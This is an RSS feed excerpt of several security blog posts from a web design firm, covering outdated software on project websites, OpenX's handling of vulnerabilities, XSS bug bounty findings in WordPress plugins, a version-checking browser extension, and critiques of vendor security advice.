<p>Before mentioning the websites running outdated versions it is worth noting that one website we checked was actually up to date. TYPO3&#8242;s <a href="http://wiki.typo3.org/">TYPO3Wiki</a> is running 1.18.1.</p>
<p><strong>WordPress</strong></p>
<p><a href="http://www.whitefirdesign.com/blog/wp-content/uploads/2012/01/wordpress-mediawiki-version.png"><img class="alignnone size-full wp-image-1206" title="WordPress MediaWiki Version" src="http://www.whitefirdesign.com/blog/wp-content/uploads/2012/01/wordpress-mediawiki-version.png" alt="WordPress MediaWiki Version" width="360" height="60" /></a></p>
<p>The <a href="http://codex.wordpress.org/">WordPress Codex</a> is the most out of date as it is running 1.15.5, which is two supported releases out of date. Support for 1.15.x ended in December of 2010.</p>
<p><strong>Zen Cart</strong></p>
<p><a href="http://www.whitefirdesign.com/blog/wp-content/uploads/2012/01/zen-cart-mediawiki-version.png"><img class="alignnone size-full wp-image-1195" title="Zen Cart MediaWiki Version" src="http://www.whitefirdesign.com/blog/wp-content/uploads/2012/01/zen-cart-mediawiki-version.png" alt="Zen Cart MediaWiki Version" width="360" height="60" /></a></p>
<p>The <a href="http://www.zen-cart.com/wiki/">Zen Cart Wiki</a> is one supported release out of date and running a version, 1.16.2, that that is three minor updates out of date. Support for 1.16.x ended in late November of last year.</p>
<p><strong>Joomla</strong></p>
<p><a href="http://www.whitefirdesign.com/blog/wp-content/uploads/2012/01/joomla-mediawiki-version.png"><img class="alignnone size-full wp-image-1191" title="Joomla MediaWiki Version" src="http://www.whitefirdesign.com/blog/wp-content/uploads/2012/01/joomla-mediawiki-version.png" alt="Joomla MediaWiki Version" width="360" height="60" /></a></p>
<p><a href="http://docs.joomla.org/">Joomla! Documentation</a> is one supported release out of date and running a version, 1.16.4, that that is one minor update out of date.</p>
<p><strong>phpBB</strong></p>
<p><a href="http://www.whitefirdesign.com/blog/wp-content/uploads/2012/01/phpbb-mediawiki-version.png"><img class="alignnone size-full wp-image-1199" title="phpBB MediaWiki Version" src="http://www.whitefirdesign.com/blog/wp-content/uploads/2012/01/phpbb-mediawiki-version.png" alt="phpBB MediaWiki Version" width="360" height="60" /></a></p>
<p>The <a href="http://wiki.phpbb.com">phpBB Development Wiki</a> is at least running the most recent version of 1.16.x, 1.16.5, but that release is no longer supported.</p>
<p><strong>Moodle</strong></p>
<p><a href="http://www.whitefirdesign.com/blog/wp-content/uploads/2012/01/moodle-mediawiki-version.png"><img class="alignnone size-full wp-image-1205" title="Moodle MediaWiki Version" src="http://www.whitefirdesign.com/blog/wp-content/uploads/2012/01/moodle-mediawiki-version.png" alt="Moodle MediaWiki Version" width="360" height="60" /></a></p>
<p><a href="http://docs.moodle.org">MoodleDocs</a> is at least running a supported release, 1.17.x, but the version, 1.17.0, is two minor updates out of date.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.whitefirdesign.com/blog/2012/01/20/outdated-software-running-on-websites-of-wordpress-and-other-web-software/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	<creativeCommons:license>http://creativecommons.org/licenses/by-nc-sa/3.0/us/</creativeCommons:license>
	</item>
		<item>
		<title>Does Security Really Matter to OpenX?</title>
		<link>http://www.whitefirdesign.com/blog/2011/12/21/does-security-really-matter-to-openx/</link>
		<comments>http://www.whitefirdesign.com/blog/2011/12/21/does-security-really-matter-to-openx/#comments</comments>
		<pubDate>Wed, 21 Dec 2011 23:05:31 +0000</pubDate>
		<dc:creator>White Fir Design</dc:creator>
				<category><![CDATA[Bad Security]]></category>
		<category><![CDATA[OpenX]]></category>

		<guid isPermaLink="false">http://www.whitefirdesign.com/blog/?p=1151</guid>
		<description><![CDATA[On December 1st OpenX finally made a public announcement on their blog about OpenX 2.8.8, which fixed a vulnerability that had already been exploited for some time before OpenX 2.8.8 was released. There post claims &#8220;If ever we find an &#8230; <a href="http://www.whitefirdesign.com/blog/2011/12/21/does-security-really-matter-to-openx/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p>On December 1st OpenX finally made a <a href="http://blog.openx.org/12/security-matters-3/">public announcement on their blog about OpenX 2.8.8</a>, which fixed a vulnerability that had already been exploited for some time before OpenX 2.8.8 was released. There post claims &#8220;If ever we find an issue, we address it quickly and communicate any updates as soon as possible.&#8221; Would anyone think a month is &#8220;as soon as possible&#8221;. What makes the length of time for the announcement even more troubling is that back on November 8 when we <a title="OpenX Continues Questionable Security Posture" href="http://www.whitefirdesign.com/blog/2011/11/08/openx-continues-questionable-security-posture/">posted about the lack of a public announcement</a>, and other issues, we had many visitors from OpenX visiting the blog so if they hadn&#8217;t yet thought it was important to make announcement before that they should by then.</p>
<p>Their post begins with the claim that &#8220;OpenX takes security seriously.&#8221; It hard to take that seriously considering that that this is third post on their blog titled Security Matters (<a href="http://blog.openx.org/01/security-matters/">1</a>, <a href="http://blog.openx.org/12/security-matters-2/">2</a>) making the same claim and yet they have had to continually released fixes to vulnerabilities after those are already being exploited. It is understandable that software can have vulnerabilities, but when hackers are finding and exploiting them first instead of the developers finding and fixing them first it is an indication that their process for insuring the security of their code is lacking.</p>
<p>While there has been a fair amount of time between new vulnerabilities being exploited, and then fixed by OpenX, it is reasonable to consider that it might not be due a limited number of vulnerabilities but a lack of need to exploit more vulnerabilities. From what we have seen there seems to plenty of ad server running outdated versions of OpenX that hackers have been able to exploit well after new versions are released, so it doesn&#8217;t seem unreasonable to think that hackers might know of or could easily find more vulnerabilities in OpenX but as long there are enough ad servers running on outdated versions of OpenX to exploit there would be no need to make OpenX aware of a new vulnerability so that it can eventually be used when they run low on outdated ad servers to exploit.</p>
<p>It also is hard to take them seriously when there is such a public example of them not following their own advice. As part of their post they say &#8220;It’s critical to the safe maintenance and operation of any software that you not only maintain a current version of the software, but also take steps to regularly audit accounts that have access to your system.&#8221; They correctly state that it is critical to keep software up to date, but you don’t have look far to see that they don’t follow their own advice. The blog that they posted to is running WordPress 2.6.2 (if you want to see when websites are running out of date version versions of WordPress and other software check out our web browser extension for <a href="https://addons.mozilla.org/addon/meta-generator-version-check/">Firefox</a> and <a href="https://chrome.google.com/webstore/detail/fahebfpoehlhpngkmdgldkkilflkelbl">Chrome</a>). That version is now over three years out of date. They have failed to apply the last 16 releases that included security updates and 27 overall.</p>
<p>The <a href="http://www.openx.com/CHANGELOG.txt">CHANGELOG.txt </a>file for www.openx.com indicates that it is running Drupal 6.19, which, if accurate, means the Drupal install is a year out of date and they missed a security update for that as well.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.whitefirdesign.com/blog/2011/12/21/does-security-really-matter-to-openx/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	<creativeCommons:license>http://creativecommons.org/licenses/by-nc-sa/3.0/us/</creativeCommons:license>
	</item>
		<item>
		<title>Our First WordPress Plugin Security Bug Bounty Payouts</title>
		<link>http://www.whitefirdesign.com/blog/2011/12/21/our-first-wordpress-plugin-security-bug-bounty-payouts/</link>
		<comments>http://www.whitefirdesign.com/blog/2011/12/21/our-first-wordpress-plugin-security-bug-bounty-payouts/#comments</comments>
		<pubDate>Wed, 21 Dec 2011 23:03:35 +0000</pubDate>
		<dc:creator>White Fir Design</dc:creator>
				<category><![CDATA[Website Security]]></category>
		<category><![CDATA[WordPress]]></category>

		<guid isPermaLink="false">http://www.whitefirdesign.com/blog/?p=1145</guid>
		<description><![CDATA[We finally have an opportunity to discuss our first two security bug bounty payouts for WordPress plugins, both for relatively minor issues. We actually paid them out in late October but we were waiting until after one them was finally &#8230; <a href="http://www.whitefirdesign.com/blog/2011/12/21/our-first-wordpress-plugin-security-bug-bounty-payouts/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p>We finally have an opportunity to discuss our first two security <a href="http://www.whitefirdesign.com/about/wordpress-security-bug-bounty-program.html">bug bounty payouts for WordPress plugins</a>, both for relatively minor issues. We actually paid them out in late October but we were waiting until after one them was finally fixed (the other was fixed within hours of the developer being notified) to write about the issue.</p>
<p>Both NextGEN Gallery and WP e-Commerce suffered from reflective cross-site scripting (XSS) vulnerabilities in the portion of the plugin accessible in the admin area. With a reflective XSS vulnerability if an attacker can get you to visit a specially crafted URL they can cause the website included arbitrary HTML code, most often JavaScript, which they specify. That could be used to cause actions to take place of the web page, another file to be loaded, your browser cookies to be read, among other things.</p>
<p>XSS vulnerabilities are not as big an issue as vulnerabilities that allow adding arbitrary code to a database or into a file. Because these two vulnerabilities are only accessible in the admin area, it limits there severity even more. If they were to be used by an attacker they would be used in a attack to target at an individual website instead of a mass attack. Most attacks on WordPress based websites are mass attacks.</p>
<p>A fix for NextGEN gallery was included in version 1.8.4 and a fix for WP e-Commerce was included in version 3.8.7.3.</p>
<h2>Web Browser Based Reflective XSS Protection</h2>
<p>The ability to exploit the vulnerabilities is also limited by protections in some web browsers designed to restrict reflective XSS vulnerabilities from occurring. While doing a test with a XSS that attempts to load a JavaScript file from a third-party website that reads cookies associated with the WordPress based website we found that the web browsers performed as follows:</p>
<p>We found that both Chrome 15 and Safari 5, whose protection come the WebKit rendering engine they share, were able to successfully block the attempted XSS.</p>
<p>We found that Internet Explorer 9 only blocked the attempt XSS if you were already logged into WordPress when attempting to access the malicious page. If you were not logged in you would be asked to login and then be taken to the malicious page where the XSS was not blocked. This is due to Internet Explorer disabling the protection for requests originating from the same website. This is one of a number of weaknesses in Internet Explorer&#8217;s protection discussed in the paper <a href="https://sitewat.ch/en/files/Bypassing%20Internet%20Explorer%27s%20XSS%20Filter.pdf">Bypassing Internet Explorer&#8217;s XSS Filter</a> (PDF).</p>
<p>Firefox doesn&#8217;t currently provide any similar functionality, but with the <a href="https://addons.mozilla.org/firefox/addon/noscript/">NoScript add-on</a> installed we found the attempted XSS was blocked.</p>
<p>Keep in mind that the web browser protections are not full proof and it is possible that XSS attacks could be crafted that can evade the protections.</p>
<h2>Testing Security Plugins Against These Vulnerabilities</h2>
<p>Now that updates for both plugins have been released the way to prevent these vulnerabilities is to make sure you are running the latest version, which should make sure to with any installed plugins, but what about similar vulnerabilities that developer are not yet aware of? The biggest protection that you have is that targeted attacks are rather uncommon, so you are unlikely to be exposed to this type of issue. Then protection comes from being careful when clicking on links and using a web browser that provides protections against this type of hack.</p>
<p>There are also a number of security plugins for WordPress, some on them specifically claim to protect against XSS. We wanted to see if they would have blocked the exploitation of the vulnerability in either plugin. To test this out a crated a XSS attempts to load a JavaScript file from a third-party website that reads cookies associated with the WordPress based website. We used Firefox without NoScript so that any protection would be from the plugin and not the browser.</p>
<p>For this test, we tested plugins that did not require signing up for any service. We tested the following plugins:</p>
<p><a href="http://wordpress.org/extend/plugins/bulletproof-security/">BulletProof Security</a><br />
<a href="http://wordpress.org/extend/plugins/secure-wordpress/">Secure WordPress</a><br />
<a href="http://wordpress.org/extend/plugins/better-wp-security/">Better WP Security</a><br />
<a href="http://wordpress.org/extend/plugins/ttc-wordpress-security-plugin/">TTC WordPress Security Tool</a></p>
<p>For all four plugins we found that provided no protection. This is rather disappointing as this is just the type of thing they might be useful for. Most times when WordPress based websites are successfully attacked it is due to outdated software, which keeping software updated would have prevented, or it is due to a hacker gaining access to the underlying files that make up WordPress. In a case where the hacker has access to the underlying files the plugins cannot prevent access to the files (making files un-writeable is generally not effective as the hacker generally has the ability to make the writeable again) and the hacker could remove or modify the plugins. They could even modify the software to report that the website is still secure (You probably won&#8217;t find much security software of this type warning about this serious weakness, though it doesn&#8217;t appear that many hackers bother doing that as the software isn&#8217;t popular enough to be worth the time it would take to do that.).</p>
]]></content:encoded>
			<wfw:commentRss>http://www.whitefirdesign.com/blog/2011/12/21/our-first-wordpress-plugin-security-bug-bounty-payouts/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	<creativeCommons:license>http://creativecommons.org/licenses/by-nc-sa/3.0/us/</creativeCommons:license>
	</item>
		<item>
		<title>OpenX Continues Questionable Security Posture</title>
		<link>http://www.whitefirdesign.com/blog/2011/11/08/openx-continues-questionable-security-posture/</link>
		<comments>http://www.whitefirdesign.com/blog/2011/11/08/openx-continues-questionable-security-posture/#comments</comments>
		<pubDate>Tue, 08 Nov 2011 23:39:44 +0000</pubDate>
		<dc:creator>White Fir Design</dc:creator>
				<category><![CDATA[Bad Security]]></category>
		<category><![CDATA[OpenX]]></category>
		<category><![CDATA[Website Security]]></category>

		<guid isPermaLink="false">http://www.whitefirdesign.com/blog/?p=1133</guid>
		<description><![CDATA[Last Thursday OpenX released version 2.8.8 of their software. They have yet to make any sort of public announcement of the update on their blog or anywhere else that we could find. The only information given, found on the Product &#8230; <a href="http://www.whitefirdesign.com/blog/2011/11/08/openx-continues-questionable-security-posture/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p>Last Thursday OpenX released version 2.8.8 of their software. They have yet to make any sort of public announcement of the update on their <a href="http://blog.openx.org/">blog</a> or anywhere else that we could find. The only information given, found on the Product Updates page in the OpenX admin interface, says that:</p>
<blockquote><p>It is highly recommended to install this update as soon as possible, because it contains a number of security fixes. The version of OpenX which you are currently using might be vulnerable to certain attacks and is probably not secure.</p></blockquote>
<p>With a release that includes important security fixes, as this seems to be, you would expect that they would want to make sure people that use their software would be well aware of the update.</p>
<p>There was no information was given as to what the vulnerabilities were or what other changes were made in the new version. This is a continuing practice from OpenX as we have <a title="OpenX Continues To Release Updates Without Details of Changes" href="http://www.whitefirdesign.com/blog/2010/09/16/openx-continues-to-release-updates-without-details-of-changes/">written about before</a>. While it is understandable that developers would want to limit the amount of information to make it harder to for people to be able to exploit the vulnerabilities, hackers have shown that they are able to hack OpenX without this information and the information would be useful for people not looking to hack OpenX.  To repeat what we said after the last OpenX release, &#8220;[w]ithout knowing what the issue or issues that were fixed makes it hard to determine the source of a hacking, potentially leading to new vulnerabilities that are exploited in OpenX going undiagnosed in the future if the OpenX installation hacked was running an out of date version.&#8221; It also makes it hard for anyone to independently verify the vulnerabilities were fully and properly fixed in the newer version.</p>
<p>The larger concern we have now is that OpenX seems to continue to be releasing security fixes in response to vulnerabilities being actively exploited, commonly referred to as zero-day exploits, instead them being found beforehand during development or during subsequent security reviews. We know that with past vulnerabilities they were being exploited before updates were released. We have seen some reporting that vulnerabilities in the last version were being exploited (with the most specific <a href="http://andrewjstevens.posterous.com/openx-287-vulnerable-to-sql-injection-exploit">report</a> we were not able to replicate the vulnerability, but that could be because of using a different server configuration) before this version was released. This at least means that users keeping the software up to date are not safe from being hacked, which they generally are with most web software that have a good track record of finding and fixing vulnerabilities in their software before they can be exploited. It also could be an indication that OpenX is not as concerned about the security of the software as they need to be for something that is so widely deployed.</p>
<p>What makes there apparent lack of concern towards the security of their software more troubling is the way they used the update message for 2.8.8 as a chance to promote their hosted solutions. This is the message that followed the warning about the need to update:</p>
<blockquote><p>OpenX also provides both free and Enterprise hosted versions of the ad server, offering significant improvements in both infrastructure and functionality. Both of these products are managed and operated by the OpenX team, including upgrades, maintenance, and security scans, freeing you and your team from handling such issues. If ad serving is mission-critical to your business, we suggest contacting our team to learn more about OpenX Enterprise. As always, please let us know of any potential security problems by emailing security@openx.org.</p></blockquote>
<p>All the hacks of OpenX we have dealt with so far have been due to security vulnerabilities in the OpenX software and not due directly to something related to self-hosting. In many of those cases OpenX had released a update before they were hacked, so automatic upgrades provided by their hosted solutions would have helped. But unless OpenX is providing their hosted customers with a more secure version of OpenX, then the hosted customers remain as vulnerable before the fixes for the security vulnerabilities are released. The quality of their security scans should be in question as well, if vulnerabilities keep getting found and exploited before they are fixed by OpenX.</p>
<p><strong>Update (November 14, 2011)</strong>:</p>
<p>Another thing that should be noted when considering how OpenX views the importance of security is the fact that their <a href="http://blog.openx.org/">blog</a> is still running WordPress 2.6.2. One of the most basic and important <a href="http://www.whitefirdesign.com/resources/secure-your-website-from-hackers.html">security measure anyone running a website should be doing</a> is making sure they keep any software running on the website up to date. The version they are currently running is now over three years out of date. Since version 2.6.2 there have been 16 releases that include security fixes that they have missed (and 26 overall releases).</p>
]]></content:encoded>
			<wfw:commentRss>http://www.whitefirdesign.com/blog/2011/11/08/openx-continues-questionable-security-posture/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
	<creativeCommons:license>http://creativecommons.org/licenses/by-nc-sa/3.0/us/</creativeCommons:license>
	</item>
		<item>
		<title>Our New Web Browser Extension to Warn When Outdated Software is Being Used</title>
		<link>http://www.whitefirdesign.com/blog/2011/10/18/our-new-web-browser-extension-to-warn-when-outdated-software-is-being-used/</link>
		<comments>http://www.whitefirdesign.com/blog/2011/10/18/our-new-web-browser-extension-to-warn-when-outdated-software-is-being-used/#comments</comments>
		<pubDate>Tue, 18 Oct 2011 20:59:05 +0000</pubDate>
		<dc:creator>White Fir Design</dc:creator>
				<category><![CDATA[Joomla]]></category>
		<category><![CDATA[Piwik]]></category>
		<category><![CDATA[Website Security]]></category>
		<category><![CDATA[WordPress]]></category>

		<guid isPermaLink="false">http://www.whitefirdesign.com/blog/?p=1091</guid>
		<description><![CDATA[We are always looking for ways how we can help to improve the security of the web. One of the basic security measures that needs to be taken to keep websites secure is keeping the software running on them up &#8230; <a href="http://www.whitefirdesign.com/blog/2011/10/18/our-new-web-browser-extension-to-warn-when-outdated-software-is-being-used/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p>We are always looking for ways how we can help to improve the security of the web. One of the basic security measures that needs to be taken to keep websites secure is keeping the software running on them up to date, as newer releases often contain security fixes and enhancements.</p>
<p>The developers of web software have done a lot to make that easier by providing messages in the software that the websites is in need of update and making the update process easier. Even with this there is still many website running outdated versions of that software.</p>
<p>When we are in touch with people running websites whether they are potential clients, people we are contacting to let them know their website has been hacked, or for some other reasons, we make sure to let them know if we see they are running outdated software that needs to be updated. We only reach a limited number of people so to increase awareness that outdated software is running on websites we have created a new web browser extension, named Meta Generator Version Check, to make it easier for others to see when there is outdated software running a website.</p>
<p>With the web browser extension installed, each time a web page finishes loading the extension checks the web page&#8217;s source code for a meta generator tag. The one for the current version of WordPress looks like:</p>
<pre id="line16">&lt;meta name="generator" content="WordPress 3.2.1" /&gt;</pre>
<p>After reading that, the extension then provides a warning if it detects one of the following software is running on the website:</p>
<ul class="circle">
<li>WordPress versions prior to 3.2.1</li>
<li>Joomla 1.0 and Joomla 1.6</li>
<li>Mediawiki versions 1.16.4-1.13 (earlier versions do not contain a meta generator tag)</li>
<li>vBulletin versions prior to 3.8.7</li>
<li>TYPO3 versions prior to 4.3</li>
<li>Movable Type versions prior to 4.37, 5.06, and 5.12</li>
<li>Melody versions prior to 1.0.2</li>
</ul>
<p>Looking at that list you might notice that there is a fair amount of software missing. The limitation of checking the meta generator is that not all software produces one and some of those that do, do not provide a tag that allows us to identify what version is running. In other cases only partial version information is given. For Joomla, this means the extension can warn about websites running Joomla 1.0 and 1.6, which are no longer supported, but for Joomla 1.5 and Joomla 1.7 there is no indication if they are running the current version of those, as of yesterday they were 1.5.24 and 1.7.2, or an older version.</p>
<p>Another issue we have found as we looked to add checks for more software is that the supported versions of software are not always easy to find. We would recommend that software developers make sure that they prominently display what versions of their software are supported so that people looking for that information can easily find it.</p>
<p>If you see that we are missing a check for software that provides the required information in the meta generator tag please let us know so that we can include that in the extension.</p>
<p>While it would be possible to have the extension do a more intensive check to determine what version of software is running on website, using information not available in the meta generator tag, this would in most cases require requesting additional files when each page is loaded and would provide information that is not being made available by the web page itself.</p>
<p>We currently plan to update the extension to warn that software is outdated a month after a subsequent version has been released or support has ended for a version. For severe security vulnerabilities the extension may e updated sooner provide an earlier warning.</p>
<h2>Uses</h2>
<p>The main use for the extension is to be alerted that websites that you are visiting are running outdated software so that you can let them know that they need to update it or if they are your client you can do the update yourself.</p>
<p>It also could be useful in looking at who you considering doing business with or what software you might use on your website.</p>
<p>If a web host isn&#8217;t keeping software on the frontend of their website updated, it is reasonable to be concerned that they might not be taking proper security measures for their hosting clients as well. After checking just a few web hosts we found that both <a href="http://www.justhost.com/blog/">Just Host</a> (3.0.3) and <a href="http://blog.ixwebhosting.com/">IX Web Hosting</a> (3.1) were running outdated version of WordPress. It is also interesting to note that homepage of IX Web Hosting&#8217;s website has security seals from both McAfee Secure and something called Ecommerce HackerShield (which appears to something created IX Web Hosting&#8217;s parent company) claiming the website is secure despite the outdated software, with known security vulnerabilities, running on a sub-domain of the website and linked directly from the homepage.</p>
<p>For software, an example of something that might be concerning that we just noticed with a piece of software that we run on our website, <a href="http://piwik.org">Piwik</a>, is that their website is still running WordPress 3.0.4.</p>
<h2>Availability</h2>
<p>A version of the extension is <a href="https://chrome.google.com/webstore/detail/fahebfpoehlhpngkmdgldkkilflkelbl">now available for Chrome</a>. A <a href="https://addons.mozilla.org/en-US/firefox/addon/meta-generator-version-check/">version for Firefox</a> is currently pending a review from Mozilla. The Firefox version has some limitations in comparison to the Chrome version due to current limitations of the Mozilla Add-On SDK, as the Add-on SDK is further developed those limitations will also go away. A version for Safari will not be released until Apple modernizes their enrollment process for Safari Extension development.</p>
<p>You can also find a web-based version of the tool <a href="http://www.whitefirdesign.com/resources/online-meta-generator-version-check.html">here</a>.</p>
<h2>Is Running Outdated Software Always a Security Concern?</h2>
<p>Outdated software is not automatically less secure than a newer version, it would only be more insecure if it contains a security vulnerability that does not exist in a newer version. Often new releases include fixes for security vulnerabilities or security enhancements. There is also a possibility that changes have been made in a newer version that removed a security vulnerability that was not known to be security vulnerability at the time. To be safe it is a good rule to update the software even if the developers have not warned of vulnerabilities in prior versions. To keep things simple we have decided that the extension will warn if outdated version is running instead providing a warning only when we know an old version contains a security vulnerability.</p>
<h2>Is Including a Meta Generator a Security Concern?</h2>
<p>With software that includes a meta generator tag there are often people claiming that it makes websites less secure, this is especially true when it comes to WordPress.  We previously discussed the issue in <a title="Hiding the WordPress Version Number Will Not Make Your Website More Secure" href="http://www.whitefirdesign.com/blog/2011/03/02/hiding-the-wordpress-version-number-will-not-make-your-website-more-secure/">detail in regards to WordPress</a>. The summary of that is as follows: The bad guys are not generally checking the meta generator tag and they usually don&#8217;t even check if you are running the software they are trying to exploit. On a daily basic there are attempts to exploit software that is not and has never been on our website. Because the bad guys attempting to exploit vulnerabilities do not bother to check what version of software you are running the website, you will get hacked if you are running a version with that vulnerability even if you managed to completely hide the version running. Finally, if someone wanted to find out what version you are running they could do that even if you remove the meta generator tag.</p>
<p>With our new extension we think it makes even more sense to include a meta generator tag as it increases the usefulness of the tag by letting people inform others they have outdated software running on their website that needs to be updated.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.whitefirdesign.com/blog/2011/10/18/our-new-web-browser-extension-to-warn-when-outdated-software-is-being-used/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	<creativeCommons:license>http://creativecommons.org/licenses/by-nc-sa/3.0/us/</creativeCommons:license>
	</item>
		<item>
		<title>VeriSign&#8217;s Bad Advice on Protecting Websites from Malware</title>
		<link>http://www.whitefirdesign.com/blog/2011/06/30/verisigns-bad-advice-on-protecting-websites-from-malware/</link>
		<comments>http://www.whitefirdesign.com/blog/2011/06/30/verisigns-bad-advice-on-protecting-websites-from-malware/#comments</comments>
		<pubDate>Thu, 30 Jun 2011 19:07:37 +0000</pubDate>
		<dc:creator>White Fir Design</dc:creator>
				<category><![CDATA[Bad Security]]></category>

		<guid isPermaLink="false">http://www.whitefirdesign.com/blog/?p=1055</guid>
		<description><![CDATA[If you do a Google search related to website malware right now you might right run across the following ad from VeriSign: VeriSign Malware Scan What you need to know about malware &#38; how to protect your site Someone interested &#8230; <a href="http://www.whitefirdesign.com/blog/2011/06/30/verisigns-bad-advice-on-protecting-websites-from-malware/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p>If you do a Google search related to website malware right now you might right run across the following ad from VeriSign:</p>
<p>VeriSign Malware Scan<br />
What you need to know about malware &amp; how to protect your site</p>
<p>Someone interested in how to protect their website from malware might click on the ad hoping to learn about doing that. From the <a href="https://www.verisign.com/ts-sem-page/">page the ad takes you to</a> you could visit a page titled <a href="https://www.verisign.com/ssl/ssl-information-center/malware-scan-faq/">FAQ: Web Site Malware Scanning</a>. One of the questions in the FAQ is “How can I protect my site from malware?”. This looks like the information their advertising was promoting.  Here is what they say:</p>
<blockquote><p>Like most thieves, malware hackers look for easy targets—such as a Web site where malware will go undetected for as long as possible. Posting the VeriSign Trust Seal on your Web site is like posting an alarm security sign in your front window. It shows hackers that your site is scanned daily to detect malware.</p></blockquote>
<p>There are probably many variations on what would be a good answer to this question. Verisigns answer is certainly not one of them. Not only have they given really bad advice for protecting websites, but the answer suggests a scenario that is almost never going to happen.</p>
<p>The scenario in the answer suggests that hackers are going to view the website before they attempt to hack it. In almost all instances that is not the case. Not only is someone not likely to view the website before attempting to hack it, but there probably will not be a person directly controlling the attempted hack. Instead, the hacking attempt is likely to be automated.</p>
<p>For example, someone might setup a program to go through every domain name attempting to exploit a vulnerability in an outdated version of WordPress. Because no one is viewing the website before attempting to hack it the VeriSign Trust Seal will have no impact on whether the website is hacked or not. The best that malware scanning could do in this case would be to quickly warn that the website is infected. The worst case would be the scanner not detecting the infection until it has potentially infected many visitors. What is hopefully obvious is that if you are not running an outdated version of WordPress you would not get infected in the first place.</p>
<p>The right way to protect your website against these types of hacks, which are done in this automated fashion, is by taking the measures we have written about <a href="http://www.whitefirdesign.com/resources/secure-your-website-from-hackers.html">here</a>. If your website is properly secured you are very unlikely to get infected so malware scanning is of little use. If you wanted make sure that you are warned quickly if your website is ever infected you <a href="http://www.whitefirdesign.com/resources/set-up-a-google-malware-warning-email-alert.html">set it up so that Google will send email to an address of your choice</a> if they ever detect malware on your website.</p>
<p>So would the seal have any deterring effect on someone who has decided to target your website? It is hard to say for sure, but it seems unlikely it would have any effect. If someone were looking for easy targets they wouldn’t be trying target specific websites at all. It is much more efficient for them to use untargeted methods to find easy targets. What would be more likely to happen if they were targeting you is that they would test their malware to make sure it is not detected by the scanning done by Verisign before infecting your website. In that situation letting them know it was going on would not be helpful.</p>
<p>Verisign is owned by a major security company, Symantec, so they should be aware of all of this, especially since they decided to run advertising promoting that they would tell “What you need to know about malware &amp; how to protect your site”. Either they don’t know about website malware, but are offering the service any way, or they know about it and they appear to be intentionally misleading potential customers.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.whitefirdesign.com/blog/2011/06/30/verisigns-bad-advice-on-protecting-websites-from-malware/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	<creativeCommons:license>http://creativecommons.org/licenses/by-nc-sa/3.0/us/</creativeCommons:license>
	</item>
		<item>
		<title>Increased PHP Requirement for WordPress 3.2 Not a Major Issue</title>
		<link>http://www.whitefirdesign.com/blog/2011/06/27/increased-php-requirement-for-wordpress-3-2-not-a-major-issue/</link>
		<comments>http://www.whitefirdesign.com/blog/2011/06/27/increased-php-requirement-for-wordpress-3-2-not-a-major-issue/#comments</comments>
		<pubDate>Mon, 27 Jun 2011 21:14:20 +0000</pubDate>
		<dc:creator>White Fir Design</dc:creator>
				<category><![CDATA[Bad Security]]></category>
		<category><![CDATA[WordPress]]></category>

		<guid isPermaLink="false">http://www.whitefirdesign.com/blog/?p=1042</guid>
		<description><![CDATA[With the release of WordPress 3.2 coming up shortly (we are running the release client of it on our other blog without issue) the issue of its higher version requirements for PHP and MySQL have been coming up as a &#8230; <a href="http://www.whitefirdesign.com/blog/2011/06/27/increased-php-requirement-for-wordpress-3-2-not-a-major-issue/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p>With the release of WordPress 3.2 coming up shortly (we are running the release client of it on <a href="http://www.whitefirdesign.com/websoftwareupdates/">our other blog</a> without issue) the issue of its higher version requirements for PHP and MySQL have been coming up as a possible issue. One comment that we noticed was from a self-proclaimed security researcher was making the point this would lead to more outdated WordPress installations because servers are still running versions PHP below 5.2.4, which is the new required version, will not be able to be upgraded. On that point we have actual data on what version of PHP is running on servers and, more importantly, information on why an actual security researcher would see a much bigger issue with people still running a version of PHP below 5.2.4 than not being able to upgrade WordPress.</p>
<p>For every client that we need access to their website’s filesystem during our work we check the PHP version as well as other software running on the server (you can check your host using a <a href="http://www.whitefirdesign.com/resources/check-what-version-of-software-your-server-is-running.html">tool</a> we have created). For hosts having particularly outdated versions of software we alert the client to the issue and we also document some cases on our page detailing <a href="http://www.whitefirdesign.com/resources/web-hosting-providers-with-security-issues.html">hosts with security issues</a>. Our clients host websites around the world and with host provider of all sizes so the data should be a good representation of what is exists overall. We reviewed our data for this year and we found that none of our clients had been running a version of PHP 5 below 5.2.4, the lowest we found was 5.2.6. We did have some clients that were still running PHP 4, in all those cases we were able to switch them to PHP 5, above version 5.2.4, through the host’s control panel without issue. If you are still running PHP 4 you should make the switch as soon as possible as support for PHP 4 ended on December 31, 2007 and updates for critical security issues ended on August 8, 2008.</p>
<p>If there are still people on hosts that are only running a version of PHP less than 5.2.4 they probably have much bigger security issue than not being able to upgrade WordPress. PHP 5.2.4 was released on August 31, 2007 and last version PHP 4 was released on August 7, 2008. So that means their host has not bothered to upgrade one of the core pieces of software on their servers for nearly three or four years. While PHP itself is not a common target of hackers other server software is. Keep software running on the servers is the most basic security measures a host should be taking, if the host is not doing that then there is good chance that are not taking care of other security measures. There are many hosts that do take the basic security measures of keeping the server software up to date, so no one should be using a host that isn&#8217;t.</p>
